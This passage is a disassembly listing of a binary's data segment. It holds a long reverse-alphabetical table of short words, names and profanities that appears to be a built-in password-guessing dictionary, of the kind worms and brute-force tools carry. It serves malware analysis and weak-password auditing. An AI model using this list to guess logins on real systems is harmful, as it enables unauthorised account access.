seg001:0042D088o align 4 aInvent db 'invent',0 ; DATA XREF: seg001:0042D084o align 10h aInteger db 'integer',0 ; DATA XREF: seg001:0042D080o aInside db 'inside',0 ; DATA XREF: seg001:0042D07Co align 10h aInput db 'input',0 ; DATA XREF: seg001:0042D078o align 4 aInnocuou db 'innocuou',0 ; DATA XREF: seg001:0042D074o align 4 aInna db 'inna',0 ; DATA XREF: seg001:0042D070o align 4 aIngrid db 'ingrid',0 ; DATA XREF: seg001:0042D06Co align 4 aIngress db 'ingress',0 ; DATA XREF: seg001:0042D068o aIngres db 'ingres',0 ; DATA XREF: seg001:0042D064o align 4 aIndians db 'indians',0 ; DATA XREF: seg001:0042D060o aIndiana db 'indiana',0 ; DATA XREF: seg001:0042D05Co aIndian db 'indian',0 ; DATA XREF: seg001:0042D058o align 4 aIndia db 'india',0 ; DATA XREF: seg001:0042D054o align 4 aInclude db 'include',0 ; DATA XREF: seg001:0042D050o aImperial db 'imperial',0 ; DATA XREF: seg001:0042D04Co align 4 aImmortal db 'immortal',0 ; DATA XREF: seg001:0042D048o align 4 aImbrogli db 'imbrogli',0 ; DATA XREF: seg001:0042D044o align 10h aImage db 'image',0 ; DATA XREF: seg001:0042D040o align 4 aIllumina db 'illumina',0 ; DATA XREF: seg001:0042D03Co align 4 aIcecream db 'icecream',0 ; DATA XREF: seg001:0042D038o align 10h aHypertxt db 'hypertxt',0 ; DATA XREF: seg001:0042D034o align 4 aHyper db 'hyper',0 ; DATA XREF: seg001:0042D030o align 4 aHydrogen db 'hydrogen',0 ; DATA XREF: seg001:0042D02Co align 10h aHutchins db 'hutchins',0 ; DATA XREF: seg001:0042D028o align 4 aHunter db 'hunter',0 ; DATA XREF: seg001:0042D024o align 4 aHunt db 'hunt',0 ; DATA XREF: seg001:0042D020o align 4 aHttp_0 db 'http',0 ; DATA XREF: seg001:0042D01Co align 4 aHotel db 'hotel',0 ; DATA XREF: seg001:0042D018o align 4 aHotdog db 'hotdog',0 ; DATA XREF: seg001:0042D014o align 4 aHost db 'host',0 ; DATA XREF: seg001:0042D010o align 4 aHorus db 'horus',0 ; DATA XREF: seg001:0042D00Co align 4 aHorse db 'horse',0 ; DATA XREF: seg001:0042D008o align 4 aHorror db 'horror',0 ; DATA XREF: seg001:0042D004o align 4 aHorrible db 'horrible',0 ; DATA XREF: seg001:0042D000o align 10h aHorny db 'horny',0 ; DATA XREF: seg001:0042CFFCo align 4 aHooters db 'hooters',0 ; DATA XREF: seg001:0042CFF8o aHooker db 'hooker',0 ; DATA XREF: seg001:0042CFF4o align 4 aHoney db 'honey',0 ; DATA XREF: seg001:0042CFF0o align 10h aHomework db 'homework',0 ; DATA XREF: seg001:0042CFECo align 4 aHomer db 'homer',0 ; DATA XREF: seg001:0042CFE8o align 4 aHomepage db 'homepage',0 ; DATA XREF: seg001:0042CFE4o align 10h aHollywoo db 'hollywoo',0 ; DATA XREF: seg001:0042CFE0o align 4 aHolly db 'holly',0 ; DATA XREF: seg001:0042CFDCo align 4 aHole db 'hole',0 ; DATA XREF: seg001:0042CFD8o align 4 aHits db 'hits',0 ; DATA XREF: seg001:0042CFD4o align 4 aHitler db 'hitler',0 ; DATA XREF: seg001:0042CFD0o align 4 aHighland db 'highland',0 ; DATA XREF: seg001:0042CFCCo align 4 aHigh db 'high',0 ; DATA XREF: seg001:0042CFC8o align 10h aHidden db 'hidden',0 ; DATA XREF: seg001:0042CFC4o align 4 aHibernia db 'hibernia',0 ; DATA XREF: seg001:0042CFC0o align 4 aHiawatha db 'hiawatha',0 ; DATA XREF: seg001:0042CFBCo align 10h aHexadeci db 'hexadeci',0 ; DATA XREF: seg001:0042CFB8o align 4 aHewlett db 'hewlett',0 ; DATA XREF: seg001:0042CFB4o aHeroin db 'heroin',0 ; DATA XREF: seg001:0042CFB0o align 4 aHero db 'hero',0 ; DATA XREF: seg001:0042CFACo align 4 aHerbert db 'herbert',0 ; DATA XREF: seg001:0042CFA8o aHerb db 'herb',0 ; DATA XREF: seg001:0042CFA4o align 4 aHelp db 'help',0 ; DATA XREF: seg001:0042CFA0o align 4 aHello db 'hello',0 ; DATA XREF: seg001:0042CF9Co align 4 aHell db 'hell',0 ; DATA XREF: seg001:0042CF98o align 4 aHeinlein db 'heinlein',0 ; DATA XREF: seg001:0042CF94o align 4 aHeidi db 'heidi',0 ; DATA XREF: seg001:0042CF90o align 10h aHebrides db 'hebrides',0 ; DATA XREF: seg001:0042CF8Co align 4 aHeather db 'heather',0 ; DATA XREF: seg001:0042CF88o aHeathen db 'heathen',0 ; DATA XREF: seg001:0042CF84o aHeat db 'heat',0 ; DATA XREF: seg001:0042CF80o align 4 aHeadbang db 'headbang',0 ; DATA XREF: seg001:0042CF7Co align 10h aHead db 'head',0 ; DATA XREF: seg001:0042CF78o align 4 aHawaii db 'hawaii',0 ; DATA XREF: seg001:0042CF74o align 10h aHaven db 'haven',0 ; DATA XREF: seg001:0042CF70o align 4 aHate db 'hate',0 ; DATA XREF: seg001:0042CF6Co align 10h aHarvey db 'harvey',0 ; DATA XREF: seg001:0042CF68o align 4 aHarold db 'harold',0 ; DATA XREF: seg001:0042CF64o align 10h aHarmony db 'harmony',0 ; DATA XREF: seg001:0042CF60o aHarddriv db 'harddriv',0 ; DATA XREF: seg001:0042CF5Co align 4 aHardcore db 'hardcore',0 ; DATA XREF: seg001:0042CF58o align 10h aHard db 'hard',0 ; DATA XREF: seg001:0042CF54o align 4 aHappenin db 'happenin',0 ; DATA XREF: seg001:0042CF50o align 4 aHandjob db 'handjob',0 ; DATA XREF: seg001:0042CF4Co aHandily db 'handily',0 ; DATA XREF: seg001:0042CF48o aHandel db 'handel',0 ; DATA XREF: seg001:0042CF44o align 4 aHamster db 'hamster',0 ; DATA XREF: seg001:0042CF40o aHamlet db 'hamlet',0 ; DATA XREF: seg001:0042CF3Co align 4 aHallowee db 'hallowee',0 ; DATA XREF: seg001:0042CF38o align 4 aHair db 'hair',0 ; DATA XREF: seg001:0042CF34o align 10h aHagar db 'hagar',0 ; DATA XREF: seg001:0042CF30o align 4 aHacked db 'hacked',0 ; DATA XREF: seg001:0042CF2Co align 10h aHack db 'hack',0 ; DATA XREF: seg001:0042CF28o align 4 aGuntis db 'guntis',0 ; DATA XREF: seg001:0042CF24o align 10h aGumption db 'gumption',0 ; DATA XREF: seg001:0042CF20o align 4 aGuitar db 'guitar',0 ; DATA XREF: seg001:0042CF1Co align 4 aGuess db 'guess',0 ; DATA XREF: seg001:0042CF18o align 4 aGucci db 'gucci',0 ; DATA XREF: seg001:0042CF14o align 4 aGuardian db 'guardian',0 ; DATA XREF: seg001:0042CF10o align 10h aGryphon db 'gryphon',0 ; DATA XREF: seg001:0042CF0Co aGroup db 'group',0 ; DATA XREF: seg001:0042CF08o align 10h aGreen db 'green',0 ; DATA XREF: seg001:0042CF04o align 4 aGreat db 'great',0 ; DATA XREF: seg001:0042CF00o align 10h aGrant db 'grant',0 ; DATA XREF: seg001:0042CEFCo align 4 aGrand db 'grand',0 ; DATA XREF: seg001:0042CEF8o align 10h aGrahm db 'grahm',0 ; DATA XREF: seg001:0042CEF4o align 4 aGraham db 'graham',0 ; DATA XREF: seg001:0042CEF0o align 10h aGrades db 'grades',0 ; DATA XREF: seg001:0042CEECo align 4 aGovermen db 'govermen',0 ; DATA XREF: seg001:0042CEE8o align 4 aGouge db 'gouge',0 ; DATA XREF: seg001:0042CEE4o align 4 aGosling db 'gosling',0 ; DATA XREF: seg001:0042CEE0o aGorges db 'gorges',0 ; DATA XREF: seg001:0042CEDCo align 4 aGorgeous db 'gorgeous',0 ; DATA XREF: seg001:0042CED8o align 4 aGood db 'good',0 ; DATA XREF: seg001:0042CED4o align 10h aGolfer db 'golfer',0 ; DATA XREF: seg001:0042CED0o align 4 aGolf db 'golf',0 ; DATA XREF: seg001:0042CECCo align 10h aGolden db 'golden',0 ; DATA XREF: seg001:0042CEC8o align 4 aGold db 'gold',0 ; DATA XREF: seg001:0042CEC4o align 10h aGlacier db 'glacier',0 ; DATA XREF: seg001:0042CEC0o aGirl db 'girl',0 ; DATA XREF: seg001:0042CEBCo align 10h aGinger db 'ginger',0 ; DATA XREF: seg001:0042CEB8o align 4 aGina db 'gina',0 ; DATA XREF: seg001:0042CEB4o align 10h aGigabyte db 'gigabyte',0 ; DATA XREF: seg001:0042CEB0o align 4 aGibson db 'gibson',0 ; DATA XREF: seg001:0042CEACo align 4 aGhost db 'ghost',0 ; DATA XREF: seg001:0042CEA8o align 4 aGertrude db 'gertrude',0 ; DATA XREF: seg001:0042CEA4o align 4 aGerm db 'germ',0 ; DATA XREF: seg001:0042CEA0o align 10h aGeorge db 'george',0 ; DATA XREF: seg001:0042CE9Co align 4 aGauss db 'gauss',0 ; DATA XREF: seg001:0042CE98o align 10h aGatt db 'gatt',0 ; DATA XREF: seg001:0042CE94o align 4 aGatherin db 'gatherin',0 ; DATA XREF: seg001:0042CE90o align 4 aGateway db 'gateway',0 ; DATA XREF: seg001:0042CE8Co aGarfield db 'garfield',0 ; DATA XREF: seg001:0042CE88o align 4 aGardner db 'gardner',0 ; DATA XREF: seg001:0042CE84o aGames db 'games',0 ; DATA XREF: seg001:0042CE80o align 4 aGabriel db 'gabriel',0 ; DATA XREF: seg001:0042CE7Co aFungible db 'fungible',0 ; DATA XREF: seg001:0042CE78o align 4 aFunction db 'function',0 ; DATA XREF: seg001:0042CE74o align 4 aFudge db 'fudge',0 ; DATA XREF: seg001:0042CE70o align 10h aFuckyou db 'fuckyou',0 ; DATA XREF: seg001:0042CE6Co aFuckme db 'fuckme',0 ; DATA XREF: seg001:0042CE68o align 10h aFucking db 'fucking',0 ; DATA XREF: seg001:0042CE64o aFucker db 'fucker',0 ; DATA XREF: seg001:0042CE60o align 10h aFuck db 'fuck',0 ; DATA XREF: seg001:0042CE5Co align 4 aFryguy db 'fryguy',0 ; DATA XREF: seg001:0042CE58o align 10h aFrog db 'frog',0 ; DATA XREF: seg001:0042CE54o align 4 aFrighten db 'frighten',0 ; DATA XREF: seg001:0042CE50o align 4 aFriends db 'friends',0 ; DATA XREF: seg001:0042CE4Co aFriend db 'friend',0 ; DATA XREF: seg001:0042CE48o align 4 aFriday db 'friday',0 ; DATA XREF: seg001:0042CE44o align 4 aFrench db 'french',0 ; DATA XREF: seg001:0042CE40o align 4 aFreedom db 'freedom',0 ; DATA XREF: seg001:0042CE3Co aFree db 'free',0 ; DATA XREF: seg001:0042CE38o align 4 aFred db 'fred',0 ; DATA XREF: seg001:0042CE34o align 4 aFreak db 'freak',0 ; DATA XREF: seg001:0042CE30o align 4 aFrank db 'frank',0 ; DATA XREF: seg001:0042CE2Co align 4 aFrance db 'france',0 ; DATA XREF: seg001:0042CE28o align 4 aFoxtrot db 'foxtrot',0 ; DATA XREF: seg001:0042CE24o aFourier db 'fourier',0 ; DATA XREF: seg001:0042CE20o aForsythe db 'forsythe',0 ; DATA XREF: seg001:0042CE1Co align 10h aFornicat db 'fornicat',0 ; DATA XREF: seg001:0042CE18o align 4 aFormat db 'format',0 ; DATA XREF: seg001:0042CE14o align 4 aForm db 'form',0 ; DATA XREF: seg001:0042CE10o align 4 aForever db 'forever',0 ; DATA XREF: seg001:0042CE0Co aForesigh db 'foresigh',0 ; DATA XREF: seg001:0042CE08o align 10h aFord db 'ford',0 ; DATA XREF: seg001:0042CE04o align 4 aForce db 'force',0 ; DATA XREF: seg001:0042CE00o align 10h aFootball db 'football',0 ; DATA XREF: seg001:0042CDFCo align 4 aFoolproo db 'foolproo',0 ; DATA XREF: seg001:0042CDF8o align 4 aFool db 'fool',0 ; DATA XREF: seg001:0042CDF4o align 10h aFood db 'food',0 ; DATA XREF: seg001:0042CDF0o align 4 aFlowers db 'flowers',0 ; DATA XREF: seg001:0042CDECo aFlower db 'flower',0 ; DATA XREF: seg001:0042CDE8o align 4 aFlorida db 'florida',0 ; DATA XREF: seg001:0042CDE4o aFloat db 'float',0 ; DATA XREF: seg001:0042CDE0o align 4 aFlakes db 'flakes',0 ; DATA XREF: seg001:0042CDDCo align 10h aFishers db 'fishers',0 ; DATA XREF: seg001:0042CDD8o aFirewall db 'firewall',0 ; DATA XREF: seg001:0042CDD4o align 4 aFire db 'fire',0 ; DATA XREF: seg001:0042CDD0o align 4 aFinite db 'finite',0 ; DATA XREF: seg001:0042CDCCo align 4 aFile db 'file',0 ; DATA XREF: sub_40CD3A+1C91o ; sub_40CD3A+1CFCo ... align 4 aFight db 'fight',0 ; DATA XREF: seg001:0042CDC4o align 4 aField db 'field',0 ; DATA XREF: seg001:0042CDC0o align 4 aFidelity db 'fidelity',0 ; DATA XREF: seg001:0042CDBCo align 4 aFerrari db 'ferrari',0 ; DATA XREF: seg001:0042CDB8o aFermat db 'fermat',0 ; DATA XREF: seg001:0042CDB4o align 4 aFender db 'fender',0 ; DATA XREF: seg001:0042CDB0o align 10h aFelicia db 'felicia',0 ; DATA XREF: seg001:0042CDACo aFeds db 'feds',0 ; DATA XREF: seg001:0042CDA8o align 10h aFear db 'fear',0 ; DATA XREF: seg001:0042CDA4o align 4 aFast db 'fast',0 ; DATA XREF: seg001:0042CDA0o align 10h aFart db 'fart',0 ; DATA XREF: seg001:0042CD9Co align 4 aFaraday db 'faraday',0 ; DATA XREF: seg001:0042CD98o aFarad db 'farad',0 ; DATA XREF: seg001:0042CD94o align 4 aFamily db 'family',0 ; DATA XREF: seg001:0042CD90o align 10h aFalse db 'false',0 ; DATA XREF: seg001:0042CD8Co align 4 aFalcon db 'falcon',0 ; DATA XREF: seg001:0042CD88o align 10h aFaith db 'faith',0 ; DATA XREF: seg001:0042CD84o align 4 aFairway db 'fairway',0 ; DATA XREF: seg001:0042CD80o aExtensio db 'extensio',0 ; DATA XREF: seg001:0042CD7Co align 4 aExplosiv db 'explosiv',0 ; DATA XREF: seg001:0042CD78o align 4 aExplorer db 'explorer',0 ; DATA XREF: seg001:0042CD74o align 4 aExplore db 'explore',0 ; DATA XREF: seg001:0042CD70o aExplode db 'explode',0 ; DATA XREF: seg001:0042CD6Co aExpert db 'expert',0 ; DATA XREF: seg001:0042CD68o align 4 aEvelyn db 'evelyn',0 ; DATA XREF: seg001:0042CD64o align 4 aEuclid db 'euclid',0 ; DATA XREF: seg001:0042CD60o align 4 aEternity db 'eternity',0 ; DATA XREF: seg001:0042CD5Co align 4 aEstate db 'estate',0 ; DATA XREF: seg001:0042CD58o align 10h aEstablis db 'establis',0 ; DATA XREF: seg001:0042CD54o align 4 aErsatz db 'ersatz',0 ; DATA XREF: seg001:0042CD50o align 4 aErotic db 'erotic',0 ; DATA XREF: seg001:0042CD4Co align 4 aErin db 'erin',0 ; DATA XREF: seg001:0042CD48o align 4 aErika db 'erika',0 ; DATA XREF: seg001:0042CD44o align 4 aErica db 'erica',0 ; DATA XREF: seg001:0042CD40o align 4 aEric db 'eric',0 ; DATA XREF: seg001:0042CD3Co align 4 aErenity db 'erenity',0 ; DATA XREF: seg001:0042CD38o aEnzyme db 'enzyme',0 ; DATA XREF: seg001:0042CD34o align 4 aEnterpri db 'enterpri',0 ; DATA XREF: seg001:0042CD30o align 4 aEnter db 'enter',0 ; DATA XREF: seg001:0042CD2Co align 10h aEnglish db 'english',0 ; DATA XREF: seg001:0042CD28o aEngland db 'england',0 ; DATA XREF: seg001:0042CD24o aEngineer db 'engineer',0 ; DATA XREF: seg001:0042CD20o align 4 aEngine db 'engine',0 ; DATA XREF: seg001:0042CD1Co align 4 aEnemy db 'enemy',0 ; DATA XREF: seg001:0042CD18o align 4 aEmmanuel db 'emmanuel',0 ; DATA XREF: seg001:0042CD14o align 4 aEmily db 'emily',0 ; DATA XREF: seg001:0042CD10o align 10h aEmerald db 'emerald',0 ; DATA XREF: seg001:0042CD0Co aEmail db 'email',0 ; DATA XREF: seg001:0042CD08o align 10h aEllen db 'ellen',0 ; DATA XREF: seg001:0042CD04o align 4 aElizabet db 'elizabet',0 ; DATA XREF: seg001:0042CD00o align 4 aElephant db 'elephant',0 ; DATA XREF: seg001:0042CCFCo align 10h aElectron db 'electron',0 ; DATA XREF: seg001:0042CCF8o align 4 aElanor db 'elanor',0 ; DATA XREF: seg001:0042CCF4o align 4 aElaine db 'elaine',0 ; DATA XREF: seg001:0042CCF0o align 4 aEinstein db 'einstein',0 ; DATA XREF: seg001:0042CCECo align 4 aEinsiein db 'einsiein',0 ; DATA XREF: seg001:0042CCE8o align 4 aEileen db 'eileen',0 ; DATA XREF: seg001:0042CCE4o align 4 aEiderdow db 'eiderdow',0 ; DATA XREF: seg001:0042CCE0o align 4 aEgghead db 'egghead',0 ; DATA XREF: seg001:0042CCDCo aEdwina db 'edwina',0 ; DATA XREF: seg001:0042CCD8o align 4 aEdwin db 'edwin',0 ; DATA XREF: seg001:0042CCD4o align 10h aEducatio db 'educatio',0 ; DATA XREF: seg001:0042CCD0o align 4 aEducation db 'education',0 ; DATA XREF: seg001:0042CCCCo align 4 aEdition db 'edition',0 ; DATA XREF: seg001:0042CCC8o aEdit db 'edit',0 ; DATA XREF: seg001:0042CCC4o align 4 aEdinburg db 'edinburg',0 ; DATA XREF: seg001:0042CCC0o align 4 aEdges db 'edges',0 ; DATA XREF: seg001:0042CCBCo align 4 aEddie db 'eddie',0 ; DATA XREF: seg001:0042CCB8o align 4 aEcho db 'echo',0 ; DATA XREF: seg001:0042CCB4o align 4 aEatme db 'eatme',0 ; DATA XREF: seg001:0042CCB0o align 4 aEasy db 'easy',0 ; DATA XREF: seg001:0042CCACo align 4 aEasier db 'easier',0 ; DATA XREF: seg001:0042CCA8o align 4 aEarth db 'earth',0 ; DATA XREF: seg001:0042CCA4o align 4 aEagle db 'eagle',0 ; DATA XREF: seg001:0042CCA0o align 4 aEager db 'eager',0 ; DATA XREF: seg001:0042CC9Co align 4 aDyke db 'dyke',0 ; DATA XREF: seg001:0042CC98o align 4 aDungeon db 'dungeon',0 ; DATA XREF: seg001:0042CC94o aDuncan db 'duncan',0 ; DATA XREF: seg001:0042CC90o align 4 aDulce db 'dulce',0 ; DATA XREF: seg001:0042CC8Co align 4 aDuke db 'duke',0 ; DATA XREF: seg001:0042CC88o align 4 aDuelist db 'duelist',0 ; DATA XREF: seg001:0042CC84o aDude db 'dude',0 ; DATA XREF: seg001:0042CC80o align 4 aDuck db 'duck',0 ; DATA XREF: seg001:0042CC7Co align 4 aDrought db 'drought',0 ; DATA XREF: seg001:0042CC78o aDrive db 'drive',0 ; DATA XREF: seg001:0042CC74o align 4 aDrdoom db 'drdoom',0 ; DATA XREF: seg001:0042CC70o align 4 aDragon db 'dragon',0 ; DATA XREF: seg001:0042CC6Co align 4 aDownload db 'download',0 ; DATA XREF: seg001:0042CC68o align 4 aDope db 'dope',0 ; DATA XREF: seg001:0042CC64o align 10h aDoors db 'doors',0 ; DATA XREF: seg001:0042CC60o align 4 aDoor db 'door',0 ; DATA XREF: seg001:0042CC5Co align 10h aDoonesbu db 'doonesbu',0 ; DATA XREF: seg001:0042CC58o align 4 aDoomsday db 'doomsday',0 ; DATA XREF: seg001:0042CC54o align 4 aDoomii db 'doomii',0 ; DATA XREF: seg001:0042CC50o align 10h aDoom2 db 'doom2',0 ; DATA XREF: seg001:0042CC4Co align 4 aDoom db 'doom',0 ; DATA XREF: seg001:0042CC48o align 10h aDong db 'dong',0 ; DATA XREF: seg001:0042CC44o align 4 aDollar db 'dollar',0 ; DATA XREF: seg001:0042CC40o align 10h aDoctor db 'doctor',0 ; DATA XREF: seg001:0042CC3Co align 4 aDisplay db 'display',0 ; DATA XREF: seg001:0042CC38o aDisney db 'disney',0 ; DATA XREF: seg001:0042CC34o align 4 aDiskette db 'diskette',0 ; DATA XREF: seg001:0042CC30o align 4 aDisk_0 db 'disk',0 ; DATA XREF: seg001:0042CC2Co align 4 aDiscover db 'discover',0 ; DATA XREF: seg001:0042CC28o align 4 aDisclose db 'disclose',0 ; DATA XREF: seg001:0042CC24o align 4 aDiscipli db 'discipli',0 ; DATA XREF: seg001:0042CC20o align 10h aDisc db 'disc',0 ; DATA XREF: seg001:0042CC1Co align 4 aDirty db 'dirty',0 ; DATA XREF: seg001:0042CC18o align 10h aDirector db 'director',0 ; DATA XREF: seg001:0042CC14o align 4 aDirect db 'direct',0 ; DATA XREF: seg001:0042CC10o align 4 aDipshit db 'dipshit',0 ; DATA XREF: seg001:0042CC0Co aDinosaur db 'dinosaur',0 ; DATA XREF: seg001:0042CC08o align 4 aDigital db 'digital',0 ; DATA XREF: seg001:0042CC04o aDieter db 'dieter',0 ; DATA XREF: seg001:0042CC00o align 4 aDiet db 'diet',0 ; DATA XREF: seg001:0042CBFCo align 10h aDiehard db 'diehard',0 ; DATA XREF: seg001:0042CBF8o aDick db 'dick',0 ; DATA XREF: seg001:0042CBF4o align 10h aDice db 'dice',0 ; DATA XREF: seg001:0042CBF0o align 4 aDiane db 'diane',0 ; DATA XREF: seg001:0042CBECo align 10h aDiana db 'diana',0 ; DATA XREF: seg001:0042CBE8o align 4 aDiamond db 'diamond',0 ; DATA XREF: seg001:0042CBE4o aDial db 'dial',0 ; DATA XREF: seg001:0042CBE0o align 4 aDevice db 'device',0 ; DATA XREF: seg001:0042CBDCo align 10h aDevelop db 'develop',0 ; DATA XREF: seg001:0042CBD8o aDesperat db 'desperat',0 ; DATA XREF: seg001:0042CBD4o align 4 aDesktop db 'desktop',0 ; DATA XREF: seg001:0042CBD0o aDesk db 'desk',0 ; DATA XREF: seg001:0042CBCCo align 4 aDesiree db 'desiree',0 ; DATA XREF: seg001:0042CBC8o aDennis db 'dennis',0 ; DATA XREF: seg001:0042CBC4o align 4 aDenise db 'denise',0 ; DATA XREF: seg001:0042CBC0o align 4 aDemocrat db 'democrat',0 ; DATA XREF: seg001:0042CBBCo align 4 aDeluge db 'deluge',0 ; DATA XREF: seg001:0042CBB8o align 10h aDelta db 'delta',0 ; DATA XREF: seg001:0042CBB4o align 4 aDefoe db 'defoe',0 ; DATA XREF: seg001:0042CBB0o align 10h aDefault_0 db 'DEFAULT',0 ; DATA XREF: seg001:0042CBACo aDeck db 'deck',0 ; DATA XREF: seg001:0042CBA4o align 10h aDecember db 'december',0 ; DATA XREF: seg001:0042CBA0o align 4 aDebug db 'debug',0 ; DATA XREF: seg001:0042CB9Co align 4 aDeborah db 'deborah',0 ; DATA XREF: seg001:0042CB98o aDebbie db 'debbie',0 ; DATA XREF: seg001:0042CB94o align 4 aDeathsta db 'deathsta',0 ; DATA XREF: seg001:0042CB90o align 10h aDead db 'dead',0 ; DATA XREF: seg001:0042CB8Co align 4 aDawn db 'dawn',0 ; DATA XREF: seg001:0042CB88o align 10h aDave db 'dave',0 ; DATA XREF: seg001:0042CB84o align 4 aData db 'data',0 ; DATA XREF: seg001:0042CB80o align 10h aDarkaven db 'darkaven',0 ; DATA XREF: seg001:0042CB7Co align 4 aDark db 'dark',0 ; DATA XREF: seg001:0042CB78o align 4 aDapper db 'dapper',0 ; DATA XREF: seg001:0042CB74o align 4 aDanny db 'danny',0 ; DATA XREF: seg001:0042CB70o align 4 aDanielle db 'danielle',0 ; DATA XREF: seg001:0042CB6Co align 10h aDaniel db 'daniel',0 ; DATA XREF: seg001:0042CB68o align 4 aDancer db 'dancer',0 ; DATA XREF: seg001:0042CB64o align 10h aDana db 'dana',0 ; DATA XREF: seg001:0042CB60o align 4 aDaisy db 'daisy',0 ; DATA XREF: seg001:0042CB5Co align 10h aDaemon db 'daemon',0 ; DATA XREF: seg001:0042CB58o align 4 aCynthia db 'cynthia',0 ; DATA XREF: seg001:0042CB54o aCyberspa db 'cyberspa',0 ; DATA XREF: seg001:0042CB50o align 4 aCyberpun db 'cyberpun',0 ; DATA XREF: seg001:0042CB4Co align 4 aCyber db 'cyber',0 ; DATA XREF: seg001:0042CB48o align 10h aCustomer db 'customer',0 ; DATA XREF: seg001:0042CB44o align 4 aCunt db 'cunt',0 ; DATA XREF: seg001:0042CB40o align 4 aCshrc db 'cshrc',0 ; DATA XREF: seg001:0042CB3Co align 4 aCrystal db 'crystal',0 ; DATA XREF: seg001:0042CB38o aCristina db 'cristina',0 ; DATA XREF: seg001:0042CB34o align 10h aCriminal db 'criminal',0 ; DATA XREF: seg001:0042CB30o align 4 aCrime db 'crime',0 ; DATA XREF: seg001:0042CB2Co align 4 aCretin db 'cretin',0 ; DATA XREF: seg001:0042CB28o align 4 aCreosote db 'creosote',0 ; DATA XREF: seg001:0042CB24o align 4 aCredit db 'credit',0 ; DATA XREF: seg001:0042CB20o align 10h aCreature db 'creature',0 ; DATA XREF: seg001:0042CB1Co align 4 aCreation db 'creation',0 ; DATA XREF: seg001:0042CB18o align 4 aCreate db 'create',0 ; DATA XREF: seg001:0042CB14o align 10h aCream db 'cream',0 ; DATA XREF: seg001:0042CB10o align 4 aCrackpot db 'crackpot',0 ; DATA XREF: seg001:0042CB0Co align 4 aCrack db 'crack',0 ; DATA XREF: seg001:0042CB08o align 4 aCowboy db 'cowboy',0 ; DATA XREF: seg001:0042CB04o align 4 aCouscous db 'couscous',0 ; DATA XREF: seg001:0042CB00o align 10h aCountry db 'country',0 ; DATA XREF: seg001:0042CAFCo aCounters db 'counters',0 ; DATA XREF: seg001:0042CAF8o align 4 aCorrect db 'correct',0 ; DATA XREF: seg001:0042CAF4o aCorneliu db 'corneliu',0 ; DATA XREF: seg001:0042CAF0o align 4 aCopy db 'copy',0 ; DATA XREF: seg001:0042CAECo align 10h aCops db 'cops',0 ; DATA XREF: seg001:0042CAE8o align 4 aCopper db 'copper',0 ; DATA XREF: seg001:0042CAE4o align 10h aCooper db 'cooper',0 ; DATA XREF: seg001:0042CAE0o align 4 aCool db 'cool',0 ; DATA XREF: seg001:0042CADCo align 10h aCookie db 'cookie',0 ; DATA XREF: seg001:0042CAD8o align 4 aCookbook db 'cookbook',0 ; DATA XREF: seg001:0042CAD4o align 4 aCook db 'cook',0 ; DATA XREF: seg001:0042CAD0o align 4 aContinue db 'continue',0 ; DATA XREF: sub_40CD3A+1EE6o ; seg001:0042CACCo align 4 aConsole db 'console',0 ; DATA XREF: seg001:0042CAC8o aConserva db 'conserva',0 ; DATA XREF: seg001:0042CAC4o align 4 aConnie db 'connie',0 ; DATA XREF: seg001:0042CAC0o align 4 aCondom db 'condom',0 ; DATA XREF: seg001:0042CAB8o align 4 aCondo db 'condo',0 ; DATA XREF: seg001:0042CAB4o align 4 aComrades db 'comrades',0 ; DATA XREF: seg001:0042CAB0o align 10h aComrade db 'comrade',0 ; DATA XREF: seg001:0042CAACo aComputin db 'computin',0 ; DATA XREF: seg001:0042CAA8o align 4 aCompany db 'company',0 ; DATA XREF: seg001:0042CAA4o aCommrade db 'commrade',0 ; DATA XREF: seg001:0042CAA0o align 4 aCommit db 'commit',0 ; DATA XREF: seg001:0042CA9Co align 10h aComics db 'comics',0 ; DATA XREF: seg001:0042CA98o align 4 aCombat db 'combat',0 ; DATA XREF: seg001:0042CA94o align 10h aColor db 'color',0 ; DATA XREF: seg001:0042CA90o align 4 aCollins db 'collins',0 ; DATA XREF: seg001:0042CA8Co aCold db 'cold',0 ; DATA XREF: seg001:0042CA88o align 4 aCola db 'cola',0 ; DATA XREF: seg001:0042CA84o align 10h aCoke db 'coke',0 ; DATA XREF: seg001:0042CA80o align 4 aCoin db 'coin',0 ; DATA XREF: seg001:0042CA7Co align 10h aCoffee db 'coffee',0 ; DATA XREF: seg001:0042CA78o align 4 aCodeword db 'codeword',0 ; DATA XREF: seg001:0042CA74o align 4 aCodename db 'codename',0 ; DATA XREF: seg001:0042CA70o align 10h aCode db 'code',0 ; DATA XREF: seg001:0042CA6Co align 4 aCock db 'cock',0 ; DATA XREF: seg001:0042CA68o align 10h aCocainco db 'cocainco',0 ; DATA XREF: seg001:0042CA64o align 4 aCocacola db 'cocacola',0 ; DATA XREF: seg001:0042CA60o align 4 aCoast db 'coast',0 ; DATA XREF: seg001:0042CA5Co align 10h aClusters db 'clusters',0 ; DATA XREF: seg001:0042CA58o align 4 aCluster db 'cluster',0 ; DATA XREF: seg001:0042CA54o aClinton db 'clinton',0 ; DATA XREF: seg001:0042CA50o aCleavage db 'cleavage',0 ; DATA XREF: seg001:0042CA4Co align 4 aClaymore db 'claymore',0 ; DATA XREF: seg001:0042CA48o align 4 aClaudia db 'claudia',0 ; DATA XREF: seg001:0042CA44o aClassic db 'classic',0 ; DATA XREF: seg001:0042CA40o aClasses db 'classes',0 ; DATA XREF: seg001:0042CA3Co aClass db 'class',0 ; DATA XREF: seg001:0042CA38o align 4 aCindy db 'cindy',0 ; DATA XREF: seg001:0042CA34o align 4 aCigarett db 'cigarett',0 ; DATA XREF: seg001:0042CA30o align 4 aCigar db 'cigar',0 ; DATA XREF: seg001:0042CA2Co align 10h aChristy db 'christy',0 ; DATA XREF: seg001:0042CA28o aChristin db 'christin',0 ; DATA XREF: seg001:0042CA24o align 4 aChris db 'chris',0 ; DATA XREF: seg001:0042CA20o align 4 aChip db 'chip',0 ; DATA XREF: seg001:0042CA1Co align 4 aChester db 'chester',0 ; DATA XREF: seg001:0042CA18o aChess db 'chess',0 ; DATA XREF: seg001:0042CA14o align 4 aChemistr db 'chemistr',0 ; DATA XREF: seg001:0042CA10o align 10h aChem db 'chem',0 ; DATA XREF: seg001:0042CA0Co align 4 aChat_0 db 'chat',0 ; DATA XREF: seg001:0042CA08o align 10h aCharon db 'charon',0 ; DATA XREF: seg001:0042CA04o align 4 aCharming db 'charming',0 ; DATA XREF: seg001:0042CA00o align 4 aCharlie db 'charlie',0 ; DATA XREF: seg001:0042C9FCo aCharles db 'charles',0 ; DATA XREF: seg001:0042C9F8o aCharity db 'charity',0 ; DATA XREF: seg001:0042C9F4o aChange db 'change',0 ; DATA XREF: seg001:0042C9F0o align 4 